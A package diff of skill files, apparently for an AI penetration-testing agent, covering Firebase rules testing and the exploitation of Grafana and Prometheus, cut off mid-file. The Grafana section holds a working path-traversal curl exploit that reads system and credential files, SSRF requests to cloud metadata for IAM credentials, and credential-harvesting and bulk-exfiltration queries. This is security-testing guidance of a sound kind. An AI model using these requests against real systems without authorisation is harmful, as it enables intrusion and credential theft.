@gpzhang2001/sharpkit-skills 0.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +201 -0
- package/README.md +12 -0
- package/THIRD_PARTY_NOTICES.md +48 -0
- package/lib/index.d.ts +2027 -0
- package/lib/index.d.ts.map +1 -0
- package/lib/index.js +70 -0
- package/lib/index.js.map +1 -0
- package/package.json +46 -0
- package/skills/analysis/counterevidence.md +185 -0
- package/skills/analysis/fix_verification.md +129 -0
- package/skills/analysis/severity_calibration.md +130 -0
- package/skills/analysis/source_aware_discovery.md +211 -0
- package/skills/cloud/aws.md +231 -0
- package/skills/cloud/azure.md +262 -0
- package/skills/cloud/gcp.md +194 -0
- package/skills/cloud/kubernetes.md +223 -0
- package/skills/coordination/root_agent.md +105 -0
- package/skills/coordination/source_aware_whitebox.md +47 -0
- package/skills/custom/api_spec_testing.md +61 -0
- package/skills/custom/dependency_cve_scanning.md +341 -0
- package/skills/custom/npx_confusion.md +233 -0
- package/skills/custom/source_aware_sast.md +192 -0
- package/skills/frameworks/django.md +214 -0
- package/skills/frameworks/fastapi.md +191 -0
- package/skills/frameworks/nestjs.md +225 -0
- package/skills/frameworks/nextjs.md +228 -0
- package/skills/protocols/graphql.md +276 -0
- package/skills/protocols/oauth.md +185 -0
- package/skills/reconnaissance/asset_discovery.md +150 -0
- package/skills/reconnaissance/infrastructure_lifecycle.md +226 -0
- package/skills/scan_modes/deep.md +164 -0
- package/skills/scan_modes/diff.md +86 -0
- package/skills/scan_modes/quick.md +68 -0
- package/skills/scan_modes/standard.md +99 -0
- package/skills/technologies/active_directory.md +233 -0
- package/skills/technologies/auth0.md +188 -0
- package/skills/technologies/electron_desktop_apps.md +181 -0
- package/skills/technologies/firebase.md +263 -0
- package/skills/technologies/grafana_prometheus.md +189 -0
- package/skills/technologies/llm_applications.md +257 -0
- package/skills/technologies/supabase.md +268 -0
- package/skills/tooling/agent_browser.md +551 -0
- package/skills/tooling/ffuf.md +72 -0
- package/skills/tooling/httpx.md +82 -0
- package/skills/tooling/hurl.md +99 -0
- package/skills/tooling/hypothesis.md +100 -0
- package/skills/tooling/katana.md +102 -0
- package/skills/tooling/naabu.md +68 -0
- package/skills/tooling/nmap.md +66 -0
- package/skills/tooling/nuclei.md +67 -0
- package/skills/tooling/python.md +109 -0
- package/skills/tooling/semgrep.md +72 -0
- package/skills/tooling/sqlmap.md +67 -0
- package/skills/tooling/subfinder.md +66 -0
- package/skills/vulnerabilities/agentic_system_security.md +207 -0
- package/skills/vulnerabilities/argument_injection.md +157 -0
- package/skills/vulnerabilities/authentication_jwt.md +166 -0
- package/skills/vulnerabilities/broken_function_level_authorization.md +154 -0
- package/skills/vulnerabilities/browser_security.md +192 -0
- package/skills/vulnerabilities/business_logic.md +178 -0
- package/skills/vulnerabilities/csrf.md +198 -0
- package/skills/vulnerabilities/header_injection.md +216 -0
- package/skills/vulnerabilities/http_request_smuggling.md +255 -0
- package/skills/vulnerabilities/idor.md +217 -0
- package/skills/vulnerabilities/information_disclosure.md +187 -0
- package/skills/vulnerabilities/insecure_deserialization.md +210 -0
- package/skills/vulnerabilities/insecure_file_uploads.md +194 -0
- package/skills/vulnerabilities/llm_prompt_injection.md +187 -0
- package/skills/vulnerabilities/mass_assignment.md +153 -0
- package/skills/vulnerabilities/nosql_injection.md +288 -0
- package/skills/vulnerabilities/open_redirect.md +165 -0
- package/skills/vulnerabilities/path_traversal_lfi_rfi.md +218 -0
- package/skills/vulnerabilities/prototype_pollution.md +142 -0
- package/skills/vulnerabilities/race_conditions.md +181 -0
- package/skills/vulnerabilities/rce.md +250 -0
- package/skills/vulnerabilities/semantic_confusion.md +189 -0
- package/skills/vulnerabilities/sql_injection.md +190 -0
- package/skills/vulnerabilities/ssrf.md +186 -0
- package/skills/vulnerabilities/ssti.md +270 -0
- package/skills/vulnerabilities/subdomain_takeover.md +167 -0
- package/skills/vulnerabilities/weak_password_detection.md +200 -0
- package/skills/vulnerabilities/xss.md +206 -0
- package/skills/vulnerabilities/xxe.md +223 -0
- package/src/index.ts +89 -0
|
@@ -0,0 +1,263 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: firebase
|
|
3
|
+
description: Firebase security testing covering Firestore, Storage rules, Realtime Database, Auth, Functions, and client-side trust issues
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# Firebase
|
|
7
|
+
|
|
8
|
+
Security testing for Firebase applications. Focus on Firestore/Realtime Database rules, Cloud Storage exposure, callable/onRequest Functions trusting client input, and incorrect ID token validation.
|
|
9
|
+
|
|
10
|
+
## Attack Surface
|
|
11
|
+
|
|
12
|
+
**Data Stores**
|
|
13
|
+
- Firestore (documents/collections, rules, REST/SDK)
|
|
14
|
+
- Realtime Database (JSON tree, rules)
|
|
15
|
+
- Cloud Storage (rules, signed URLs)
|
|
16
|
+
|
|
17
|
+
**Authentication**
|
|
18
|
+
- Auth ID tokens, custom claims, anonymous/sign-in providers
|
|
19
|
+
- App Check attestation (and its limits)
|
|
20
|
+
|
|
21
|
+
**Server-Side**
|
|
22
|
+
- Cloud Functions (onCall/onRequest, triggers)
|
|
23
|
+
- Admin SDK (bypasses rules)
|
|
24
|
+
|
|
25
|
+
**Infrastructure**
|
|
26
|
+
- Hosting rewrites, CDN/caching, CORS
|
|
27
|
+
|
|
28
|
+
## Architecture
|
|
29
|
+
|
|
30
|
+
**Endpoints**
|
|
31
|
+
- Firestore REST: `https://firestore.googleapis.com/v1/projects/<project>/databases/(default)/documents/<path>`
|
|
32
|
+
- Realtime DB: `https://<project>.firebaseio.com/.json`
|
|
33
|
+
- GCS JSON API: `https://storage.googleapis.com/storage/v1/b/<bucket>`
|
|
34
|
+
- Firebase Storage rules API: `https://firebasestorage.googleapis.com/v0/b/<bucket>/o`
|
|
35
|
+
|
|
36
|
+
Cloud Storage has two front doors with different authorization engines:
|
|
37
|
+
|
|
38
|
+
| Front door | Authorization engine |
|
|
39
|
+
| --- | --- |
|
|
40
|
+
| `storage.googleapis.com/<bucket>/<object>` and `/storage/v1/b/<bucket>` | GCS IAM and per-object ACLs |
|
|
41
|
+
| `firebasestorage.googleapis.com/v0/b/<bucket>/o` | Firebase Storage Security Rules |
|
|
42
|
+
|
|
43
|
+
A `403` from a GCS URL does not prove that Firebase Storage rules deny access. Always test both doors.
|
|
44
|
+
|
|
45
|
+
**Auth**
|
|
46
|
+
- Google-signed ID tokens (iss: `accounts.google.com` or `securetoken.google.com/<project>`)
|
|
47
|
+
- Audience: `<project>` or `<app-id>`, identity in `sub`/`uid`
|
|
48
|
+
- Rules engines: separate for Firestore, Realtime DB, and Storage
|
|
49
|
+
- Functions bypass rules when using Admin SDK
|
|
50
|
+
|
|
51
|
+
## High-Value Targets
|
|
52
|
+
|
|
53
|
+
- Firestore collections with sensitive data (users, orders, payments)
|
|
54
|
+
- Realtime Database root and high-level nodes
|
|
55
|
+
- Cloud Storage buckets with private files
|
|
56
|
+
- Cloud Functions (especially triggers that grant roles or issue signed URLs)
|
|
57
|
+
- Admin/staff routes and privilege-granting endpoints
|
|
58
|
+
- Export/report functions that generate signed outputs
|
|
59
|
+
|
|
60
|
+
## Reconnaissance
|
|
61
|
+
|
|
62
|
+
**Extract Project Config**
|
|
63
|
+
|
|
64
|
+
From client bundle:
|
|
65
|
+
```javascript
|
|
66
|
+
// apiKey, authDomain, projectId, appId, storageBucket, messagingSenderId
|
|
67
|
+
firebase.apps[0].options
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
**Obtain Principals**
|
|
71
|
+
- Unauthenticated
|
|
72
|
+
- Anonymous (if enabled)
|
|
73
|
+
- Basic user A, user B
|
|
74
|
+
- Staff/admin (if available)
|
|
75
|
+
|
|
76
|
+
Capture ID tokens for each.
|
|
77
|
+
|
|
78
|
+
## Key Vulnerabilities
|
|
79
|
+
|
|
80
|
+
### Firestore Rules
|
|
81
|
+
|
|
82
|
+
Rules are not filters—a query must include constraints that make the rule true for all returned documents.
|
|
83
|
+
|
|
84
|
+
**Common Gaps**
|
|
85
|
+
- `allow read: if request.auth != null` — any authenticated user reads all data
|
|
86
|
+
- `allow write: if request.auth != null` — mass write access
|
|
87
|
+
- Missing per-field validation (allows adding `isAdmin`/`role`/`tenantId` fields)
|
|
88
|
+
- Using client-supplied `ownerId`/`orgId` instead of `resource.data.ownerId == request.auth.uid`
|
|
89
|
+
- Over-broad list rules on root collections (per-doc checks exist but list still leaks)
|
|
90
|
+
|
|
91
|
+
**Secure Patterns**
|
|
92
|
+
```javascript
|
|
93
|
+
// Restrict write fields
|
|
94
|
+
request.resource.data.keys().hasOnly(['field1', 'field2', 'field3'])
|
|
95
|
+
|
|
96
|
+
// Enforce ownership
|
|
97
|
+
resource.data.ownerId == request.auth.uid &&
|
|
98
|
+
request.resource.data.ownerId == request.auth.uid
|
|
99
|
+
|
|
100
|
+
// Org membership check
|
|
101
|
+
exists(/databases/(default)/documents/orgs/$(org)/members/$(request.auth.uid))
|
|
102
|
+
```
|
|
103
|
+
|
|
104
|
+
**Tests**
|
|
105
|
+
- Compare results for users A/B on identical queries; diff counts and IDs
|
|
106
|
+
- Cross-tenant reads: `where orgId == otherOrg`; try queries without org filter
|
|
107
|
+
- Write-path: set/patch with foreign `ownerId`/`orgId`; attempt to flip privilege flags
|
|
108
|
+
|
|
109
|
+
### Firestore Queries
|
|
110
|
+
|
|
111
|
+
- Use REST to avoid SDK client-side constraints
|
|
112
|
+
- Probe composite index requirements (UI-driven queries may hide missing rule coverage)
|
|
113
|
+
- Explore `collectionGroup` queries that may bypass per-collection rules
|
|
114
|
+
- Use `startAt`/`endAt`/`in`/`array-contains` to probe rule edges and pagination cursors
|
|
115
|
+
|
|
116
|
+
### Realtime Database
|
|
117
|
+
|
|
118
|
+
- Misconfigured rules frequently expose entire JSON trees
|
|
119
|
+
- Probe `https://<project>.firebaseio.com/.json` with and without auth
|
|
120
|
+
- Confirm rules use `auth.uid` and granular path checks
|
|
121
|
+
- Avoid `.read/.write: true` or `auth != null` at high-level nodes
|
|
122
|
+
- Attempt to write privilege-bearing nodes (roles, org membership)
|
|
123
|
+
|
|
124
|
+
### Cloud Storage
|
|
125
|
+
|
|
126
|
+
**Common Issues**
|
|
127
|
+
- Public reads on sensitive buckets/paths
|
|
128
|
+
- Signed URLs with long TTL, no content-disposition controls, replayable across tenants
|
|
129
|
+
- List operations exposed: `/o?prefix=` enumerates object keys
|
|
130
|
+
- Firebase Storage rules allowing unauthenticated or overly broad reads and writes
|
|
131
|
+
|
|
132
|
+
**Firebase Storage rules checks**
|
|
133
|
+
|
|
134
|
+
Probe the rules door separately from GCS IAM and ACLs:
|
|
135
|
+
|
|
136
|
+
1. Unauthenticated list: `GET https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<known-prefix>`
|
|
137
|
+
2. Unauthenticated read of a known object path
|
|
138
|
+
3. Unauthenticated write/upload to a uniquely named test object
|
|
139
|
+
4. Repeat list, read, and write as an anonymous-auth principal when anonymous sign-in is enabled
|
|
140
|
+
5. Repeat the same matrix as a low-privilege authenticated user
|
|
141
|
+
|
|
142
|
+
Write access is as important as read access and is routinely missed. Record status, response body, and object existence after each attempt; clean up only test objects that the test principal created.
|
|
143
|
+
|
|
144
|
+
Review rules source when present and flag:
|
|
145
|
+
|
|
146
|
+
- `allow read, write: if request.time < timestamp.date(...)` — the common console test-mode time gate
|
|
147
|
+
- `{allPaths=**}` catch-alls
|
|
148
|
+
- `request.auth != null` as the sole authorization gate
|
|
149
|
+
- Claim-presence checks such as `request.auth.token.roles.size() > 0` without role or tenant validation
|
|
150
|
+
|
|
151
|
+
Storage rules use OR-across-matches semantics: a later permissive match can reopen a path that an earlier match denied. Review every matching path, not only the most specific-looking deny.
|
|
152
|
+
|
|
153
|
+
**Bucket discovery**
|
|
154
|
+
|
|
155
|
+
- Extract `storageBucket` from `firebase.apps[0].options` and `NEXT_PUBLIC_FIREBASE_*` values in JavaScript bundles and source.
|
|
156
|
+
- Check `<project>.appspot.com` and `<project>.firebasestorage.app` bucket conventions.
|
|
157
|
+
|
|
158
|
+
**ACL and IAM checks are separate**
|
|
159
|
+
|
|
160
|
+
- Sweep object ACLs for `allUsers` and `allAuthenticatedUsers`, including objects made public by Admin SDK `makePublic()` or writers using `public: true`. Per-object public ACLs persist after Firebase rules are tightened and can remain on older prefixes.
|
|
161
|
+
- Check bucket IAM for `allUsers` and `allAuthenticatedUsers`.
|
|
162
|
+
- Check whether Uniform Bucket-Level Access is disabled; legacy object ACLs matter when it is off.
|
|
163
|
+
- Account for CDN caching of previously public objects; cache-bust when verifying a revocation.
|
|
164
|
+
|
|
165
|
+
**Tests**
|
|
166
|
+
- GET GCS object paths via HTTPS without auth; verify Content-Type and `Content-Disposition: attachment`
|
|
167
|
+
- Generate and reuse signed URLs across accounts and paths; try case/URL-encoding variants
|
|
168
|
+
- Upload HTML/SVG and verify `X-Content-Type-Options: nosniff`; check for script execution
|
|
169
|
+
|
|
170
|
+
### Cloud Functions
|
|
171
|
+
|
|
172
|
+
`onCall` provides `context.auth` automatically; `onRequest` must verify ID tokens explicitly. Admin SDK bypasses rules—all ownership/tenant checks must be in code.
|
|
173
|
+
|
|
174
|
+
**Common Gaps**
|
|
175
|
+
- Trusting client `uid`/`orgId` from request body instead of `context.auth`
|
|
176
|
+
- Missing `aud`/`iss` verification when manually parsing tokens
|
|
177
|
+
- Over-broad CORS allowing credentialed cross-origin requests
|
|
178
|
+
- Triggers (onCreate/onWrite) granting roles based on document content controlled by client
|
|
179
|
+
|
|
180
|
+
**Tests**
|
|
181
|
+
- Call both onCall and onRequest endpoints with varied tokens; expect identical decisions
|
|
182
|
+
- Create crafted docs to trigger privilege-granting functions
|
|
183
|
+
- Attempt SSRF via Functions to project/metadata endpoints
|
|
184
|
+
|
|
185
|
+
### Auth & Token Issues
|
|
186
|
+
|
|
187
|
+
**Verification Requirements**
|
|
188
|
+
- Issuer, audience (project), signature (Google JWKS), expiration
|
|
189
|
+
- Optionally App Check binding when used
|
|
190
|
+
|
|
191
|
+
**Pitfalls**
|
|
192
|
+
- Accepting any JWT with valid signature but wrong audience/project
|
|
193
|
+
- Trusting `uid`/account IDs from request body instead of `context.auth.uid`
|
|
194
|
+
- Mixing session cookies and ID tokens without verifying both paths equivalently
|
|
195
|
+
- Custom claims copied into docs then trusted by app code
|
|
196
|
+
|
|
197
|
+
**Tests**
|
|
198
|
+
- Replay tokens across environments/projects; expect strict `aud`/`iss` rejection
|
|
199
|
+
- Call Functions with and without Authorization; verify identical checks
|
|
200
|
+
|
|
201
|
+
### App Check
|
|
202
|
+
|
|
203
|
+
App Check is not a substitute for authorization.
|
|
204
|
+
|
|
205
|
+
**Bypasses**
|
|
206
|
+
- REST calls directly to googleapis endpoints with ID token succeed regardless of App Check
|
|
207
|
+
- Mobile reverse engineering: hook client and reuse ID token flows without attestation
|
|
208
|
+
|
|
209
|
+
**Tests**
|
|
210
|
+
- Compare SDK vs REST behavior with/without App Check headers
|
|
211
|
+
- Confirm no elevated authorization via App Check alone
|
|
212
|
+
|
|
213
|
+
### Tenant Isolation
|
|
214
|
+
|
|
215
|
+
Apps often implement multi-tenant data models (`orgs/<orgId>/...`). Bind tenant from server context (membership doc or custom claim), not client payload.
|
|
216
|
+
|
|
217
|
+
**Tests**
|
|
218
|
+
- Vary org header/subdomain/query while keeping token fixed; verify server denies cross-tenant access
|
|
219
|
+
- Export/report Functions: ensure queries execute under caller scope
|
|
220
|
+
|
|
221
|
+
## Bypass Techniques
|
|
222
|
+
|
|
223
|
+
- Content-type switching: JSON vs form vs multipart to hit alternate code paths in onRequest
|
|
224
|
+
- Parameter/field pollution: duplicate JSON keys (last-one-wins in many parsers); sneak privilege fields
|
|
225
|
+
- Caching/CDN: Hosting rewrites keying responses without Authorization or tenant headers
|
|
226
|
+
- Race windows: write then read before background enforcements complete
|
|
227
|
+
|
|
228
|
+
## Blind Enumeration
|
|
229
|
+
|
|
230
|
+
- Firestore: use error shape, document count, ETag/length to infer existence
|
|
231
|
+
- Storage: length/timing differences on signed URL attempts leak validity
|
|
232
|
+
- Functions: constant-time comparisons vs variable messages reveal authorization branches
|
|
233
|
+
|
|
234
|
+
## Testing Methodology
|
|
235
|
+
|
|
236
|
+
1. **Extract config** - Get project and storage bucket config from client bundles and source
|
|
237
|
+
2. **Obtain principals** - Collect tokens for unauth, anonymous, user A/B, and admin where authorized
|
|
238
|
+
3. **Build matrix** - Resource × Action × Principal across Firestore/Realtime/Storage/Functions
|
|
239
|
+
4. **Exercise both Storage doors** - Test Firebase Storage rules endpoints separately from GCS IAM/ACL URLs
|
|
240
|
+
5. **SDK vs REST** - Exercise every action via both to detect parity gaps
|
|
241
|
+
6. **Seed IDs** - Start from list/query paths to gather document and object paths
|
|
242
|
+
7. **Cross-principal** - Swap document paths, tenants, and user IDs across principals
|
|
243
|
+
|
|
244
|
+
## Whitebox Rules Review
|
|
245
|
+
|
|
246
|
+
- Inspect `firebase.json`, `.firebaserc`, deployment scripts, CI configuration, and infrastructure code for `storage.rules` / `firestore.rules` declarations.
|
|
247
|
+
- If `firebase.json` has no `storage` or `firestore` block, or the referenced rules file is absent from the tree, treat the live rules as unmanaged and force the live probe matrix. Absence of rules IaC is itself a finding; never conclude that there is nothing to review.
|
|
248
|
+
- Correlate configured rule files with deployed project and bucket identifiers. A source rule file for a different project does not establish live protection.
|
|
249
|
+
|
|
250
|
+
## Tooling
|
|
251
|
+
|
|
252
|
+
- SDK + REST: httpie/curl + jq for REST; Firebase emulator and Rules Playground for rapid iteration
|
|
253
|
+
- Rules analysis: script probes for common patterns (`auth != null`, missing field validation)
|
|
254
|
+
- Functions: fuzz onRequest with varied content-types and missing/forged Authorization
|
|
255
|
+
- Storage: enumerate prefixes; test signed URL generation and reuse patterns
|
|
256
|
+
|
|
257
|
+
## Validation Requirements
|
|
258
|
+
|
|
259
|
+
- Owner vs non-owner Firestore queries showing unauthorized access or metadata leak
|
|
260
|
+
- Firebase Storage unauthenticated, anonymous, or low-privilege read/list/write beyond intended scope, with minimal reproducible requests and observed deltas
|
|
261
|
+
- GCS object ACL or bucket IAM access beyond intended scope, including public object persistence after rules changes
|
|
262
|
+
- Function accepting forged/foreign identity (wrong `aud`/`iss`) or trusting client `uid`/`orgId`
|
|
263
|
+
- Minimal reproducible requests with roles/tokens used and observed deltas
|
|
@@ -0,0 +1,189 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: grafana-prometheus
|
|
3
|
+
description: Grafana, Prometheus, Alertmanager and exporter security testing — turning exposed observability into SSRF, credential theft, RCE, and lateral movement into the internal network
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# Grafana & Prometheus (Observability Stack)
|
|
7
|
+
|
|
8
|
+
Observability stacks (Grafana + Prometheus + Alertmanager + Loki/Tempo/Jaeger + exporters) are among the highest-value pivots on a network. They are chronically exposed (300k+ internet-facing Grafana instances on Shodan), run with weak/no auth, hold plaintext credentials for every backend they touch, and sit in a network position that reaches internal services and cloud metadata. Treat a reachable observability endpoint not as the finding but as the **entry point**: the goal is to pivot from "monitoring is exposed" into data-source credential theft, SSRF into the internal network, cloud key compromise, RCE, and cluster/host takeover.
|
|
9
|
+
|
|
10
|
+
## Attack Surface
|
|
11
|
+
|
|
12
|
+
**Grafana** (default `:3000`)
|
|
13
|
+
- Web UI + REST API (`/api/*`), login, org/user management, snapshots
|
|
14
|
+
- Data sources: stored connection details + credentials for Prometheus, Loki, Tempo, MySQL/Postgres, Elasticsearch, InfluxDB, CloudWatch, Azure Monitor, etc.
|
|
15
|
+
- Data source **proxy** (`/api/datasources/proxy/...`, `/api/ds/query`) — server-side HTTP client → SSRF primitive
|
|
16
|
+
- Plugins (incl. Image Renderer, Infinity) — extra SSRF/RCE surface
|
|
17
|
+
- Alerting → contact points/webhooks (outbound HTTP, another SSRF vector)
|
|
18
|
+
|
|
19
|
+
**Prometheus** (default `:9090`)
|
|
20
|
+
- Query API (`/api/v1/query`, `/graph`), config/target/status endpoints, federation, admin/lifecycle API
|
|
21
|
+
|
|
22
|
+
**Alertmanager** (default `:9093`)
|
|
23
|
+
- Alert/silence API (`/api/v2/*`), config with receiver credentials
|
|
24
|
+
|
|
25
|
+
**Exporters / adjacent** — node_exporter (`:9100`), cAdvisor/kubelet (`:4194`/`:10250`), kube-state-metrics (`:8080`), Pushgateway (`:9091`), Loki (`:3100`), Tempo, Jaeger UI (`:16686`), Thanos/Cortex/Mimir/VictoriaMetrics
|
|
26
|
+
|
|
27
|
+
## Reconnaissance
|
|
28
|
+
|
|
29
|
+
**Fingerprint & version** (version drives which CVEs apply)
|
|
30
|
+
```
|
|
31
|
+
GET /api/health # Grafana: {"version":"...","commit":"..."}
|
|
32
|
+
GET /api/frontend/settings # buildInfo, enabled auth, datasource types
|
|
33
|
+
GET /login # Grafana login page / footer version
|
|
34
|
+
GET /api/v1/status/buildinfo # Prometheus version
|
|
35
|
+
GET /metrics # any exporter → prometheus/node/go_* series
|
|
36
|
+
```
|
|
37
|
+
|
|
38
|
+
**Auth posture — always test unauthenticated first**
|
|
39
|
+
```
|
|
40
|
+
GET /api/datasources # Grafana: 200 = anon/viewer has admin-ish read
|
|
41
|
+
GET /?orgId=1 # anonymous access enabled? lands on dashboards
|
|
42
|
+
GET /api/v1/targets # Prometheus: 200 = no auth
|
|
43
|
+
GET /api/v2/status # Alertmanager: 200 = no auth
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
**Credential entry points**
|
|
47
|
+
- Grafana default creds `admin:admin` (the first-login change prompt has a **Skip** button — ~1 in 5 internet-facing instances still accept it)
|
|
48
|
+
- Anonymous org access (`auth.anonymous`), open sign-up, guest/viewer roles
|
|
49
|
+
- Leaked Grafana API keys / service account tokens (`Authorization: Bearer glsa_...` / `eyJ...`) in JS bundles, git, CI logs
|
|
50
|
+
|
|
51
|
+
## Key Vulnerabilities & CVEs
|
|
52
|
+
|
|
53
|
+
### CVE-2021-43798 — Grafana pre-auth path traversal (arbitrary file read)
|
|
54
|
+
Grafana 8.0.0-beta1 → 8.3.0. Directory traversal through the plugin static route reads any file the process can, **no auth required**. Every install ships pre-installed plugins, so the path always exists.
|
|
55
|
+
```
|
|
56
|
+
curl --path-as-is 'http://host:3000/public/plugins/mysql/../../../../../../../../etc/passwd'
|
|
57
|
+
# other plugin ids that always exist: prometheus, graph, text, alertlist, table-old
|
|
58
|
+
```
|
|
59
|
+
High-value reads:
|
|
60
|
+
- `/etc/grafana/grafana.ini` and `conf/defaults.ini` → `secret_key`, admin password, SMTP/LDAP creds
|
|
61
|
+
- `/var/lib/grafana/grafana.db` (SQLite) → `data_source.secure_json_data` (AES-encrypted with `secret_key` → decrypt to recover backend passwords/tokens), session tokens, API key hashes
|
|
62
|
+
- `/proc/self/environ`, cloud credential files (`~/.aws/credentials`, k8s SA token at `/var/run/secrets/kubernetes.io/serviceaccount/token`)
|
|
63
|
+
|
|
64
|
+
### CVE-2024-9264 — Grafana SQL Expressions RCE + LFI (DuckDB)
|
|
65
|
+
Grafana **v11.0.0–11.2.x** (10.x not affected). The experimental SQL Expressions feature passes user input to the `duckdb` CLI insufficiently sanitized → command injection + arbitrary file read. Enabled by default for the API (feature-flag bug); exploitable **only if the `duckdb` binary is in Grafana's `$PATH`** (not shipped by default). Any user with **Viewer or higher** can exploit. CVSS 9.4.
|
|
66
|
+
- Probe: is `duckdb` present? Try the SQL Expressions query path; LFI via `read_csv`/`read_blob`-style functions, command injection via DuckDB's shell/`install`/`load` extension mechanics.
|
|
67
|
+
- Mitigation you'll see: remove `duckdb` from PATH.
|
|
68
|
+
|
|
69
|
+
### CVE-2025-4123 — Grafana open redirect + stored XSS → SSRF chain
|
|
70
|
+
Double-encoded traversal (`..%2f`) into the client path/`/redirect` forwards the victim to an attacker origin that serves a malicious plugin manifest → JS executes in the trusted grafana origin (stored XSS). If the **Image Renderer** plugin is present, escalate to full-read SSRF:
|
|
71
|
+
```
|
|
72
|
+
POST /api/render?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
|
73
|
+
```
|
|
74
|
+
No creds needed when anonymous access is on (common in demo/lab).
|
|
75
|
+
|
|
76
|
+
### CVE-2021-39226 / CVE-2024-1313 — Grafana snapshot auth bypass
|
|
77
|
+
Unauthenticated view (and, with `public_mode`, delete) of the lowest-key snapshot via `/api/snapshots/:key` and `/dashboard/snapshot/:key`; CVE-2024-1313 lets a user in a *different org* delete snapshots by view key. Walk snapshot IDs to harvest dashboard data / leaked query values.
|
|
78
|
+
|
|
79
|
+
### Prometheus / Alertmanager — exposure is the vuln (no auth by default)
|
|
80
|
+
Prometheus and Alertmanager ship with **no authentication**; the docs explicitly say do not expose them. There is rarely a CVE — reachability itself is the finding, and the payoff is recon + credential leakage + pivoting (below).
|
|
81
|
+
|
|
82
|
+
## Pivoting: Observability → Deeper Compromise
|
|
83
|
+
|
|
84
|
+
This is the core value. Chain each exposure into something that matters. Always articulate the pivot in the finding, not just the exposed endpoint.
|
|
85
|
+
|
|
86
|
+
### 1. Grafana data-source proxy → full-read SSRF (internal net + cloud metadata)
|
|
87
|
+
Grafana OSS ships a **no-op URL validator** and an **empty `data_source_proxy_whitelist`** (empty = allow all). The proxy resolves the proxied path against the **selected data source's configured base URL**, so to reach an arbitrary host you must first create (or edit) a data source whose URL is the internal/metadata target — this needs data-source write permission (Editor/Admin, or any role granted `datasources:create`/`:write`). Reusing an ordinary Prometheus data-source id and appending a metadata path just hits Prometheus, not the metadata service — do not report that as SSRF. Once a data source points at the target, the proxy issues the request server-side and returns the **full response body**.
|
|
88
|
+
```
|
|
89
|
+
# Step 1: create/edit a data source with an attacker-chosen base URL, e.g.
|
|
90
|
+
POST /api/datasources {"name":"x","type":"prometheus","access":"proxy",
|
|
91
|
+
"url":"http://169.254.169.254"} # returns the new <id>
|
|
92
|
+
# Step 2: relay through THAT data source's id (path appended to its base URL):
|
|
93
|
+
GET /api/datasources/proxy/<id>/latest/meta-data/iam/security-credentials/<role> # AWS IMDSv1
|
|
94
|
+
# GCP: base url http://metadata.google.internal + header Metadata-Flavor: Google
|
|
95
|
+
# → /computeMetadata/v1/instance/service-accounts/default/token
|
|
96
|
+
# Internal APIs, k8s API server, admin panels, other cloud services (one DS per host)
|
|
97
|
+
```
|
|
98
|
+
Pivot: metadata creds → cloud account; internal API reads → data; network mapping → next target. Also test the **alerting contact-point/webhook** (attacker-controlled outbound URL) and plugin SSRFs (e.g. Infinity CVE-2025-8341) as independent vectors. The **Image Renderer** is an SSRF vector too, but not via an arbitrary-URL proxy: it renders Grafana dashboard/panel render routes (`/render/d-solo/...`), so the SSRF arises when a render request is coerced to fetch an internal URL (e.g. chained with CVE-2025-4123), not from a `?url=` parameter.
|
|
99
|
+
|
|
100
|
+
### 2. Grafana admin → harvest every backend credential
|
|
101
|
+
Once authenticated (default creds, anon-admin, leaked token, or after CVE-2021-43798):
|
|
102
|
+
```
|
|
103
|
+
GET /api/datasources # host, port, db, user for 5–15 backends
|
|
104
|
+
GET /api/admin/settings # SMTP, LDAP bind, OAuth secrets, DB DSN (grafana.ini runtime)
|
|
105
|
+
```
|
|
106
|
+
Grafana stores backend passwords/tokens encrypted (`secureJsonData`) — the API won't echo them, but you can (a) use the data source proxy to **query the backend directly through Grafana** (no plaintext needed), or (b) decrypt `grafana.db` `secure_json_data` with the leaked `secret_key` (from grafana.ini) offline. Each recovered credential (Postgres, MySQL, Elasticsearch, CloudWatch/Azure keys) is a fresh pivot into that system.
|
|
107
|
+
|
|
108
|
+
### 3. Prometheus config/targets → leaked scrape credentials + inventory
|
|
109
|
+
```
|
|
110
|
+
GET /api/v1/status/config # loaded prometheus.yml
|
|
111
|
+
GET /api/v1/targets # every scrape target + discovery metadata labels
|
|
112
|
+
```
|
|
113
|
+
Prometheus renders secret-typed fields (`basic_auth.password`, `authorization.credentials`, bearer tokens, OAuth client secrets — including inside `remote_write`/`remote_read`) as `<secret>` in the config response, so do **not** report those as leaked unless the actual value is shown. What genuinely leaks: **usernames** (`basic_auth.username`), and — critically — **credentials embedded in target/endpoint URLs** (`https://user:pass@host/...`), which are *not* masked. `remote_write`/`remote_read` blocks still reveal internal backend endpoints (Grafana Cloud/Cortex/Mimir/Thanos hosts) and usernames even with secrets redacted. `kubernetes_sd_configs` and cloud SD expose internal DNS and can surface creds via URL fields. Target lists + `__meta_*`/`__address__` labels = a free internal network map (hostnames, ports, k8s namespaces, cloud instance IDs).
|
|
114
|
+
|
|
115
|
+
### 4. PromQL / metrics → internal topology, versions → known-CVE targeting
|
|
116
|
+
Metrics are a recon goldmine. Query without auth:
|
|
117
|
+
```
|
|
118
|
+
GET /api/v1/query?query=up # every monitored service (host:port)
|
|
119
|
+
GET /api/v1/query?query=node_uname_info # kernel/OS/host
|
|
120
|
+
GET /api/v1/query?query=node_dmi_info # cloud provider / hardware
|
|
121
|
+
GET /api/v1/query?query=node_network_info # interfaces, internal IPs/MACs
|
|
122
|
+
GET /api/v1/query?query=kube_pod_info # pods, namespaces, node IPs (KSM)
|
|
123
|
+
GET /api/v1/query?query=kube_node_info # node hostnames, kubelet/kubeproxy versions
|
|
124
|
+
GET /api/v1/query?query={__name__=~"..._build_info"} # exact component versions
|
|
125
|
+
GET /api/v1/label/__name__/values # enumerate all metric names → app inventory
|
|
126
|
+
GET /federate?match[]={__name__=~".%2b"} # bulk-exfil series via federation
|
|
127
|
+
```
|
|
128
|
+
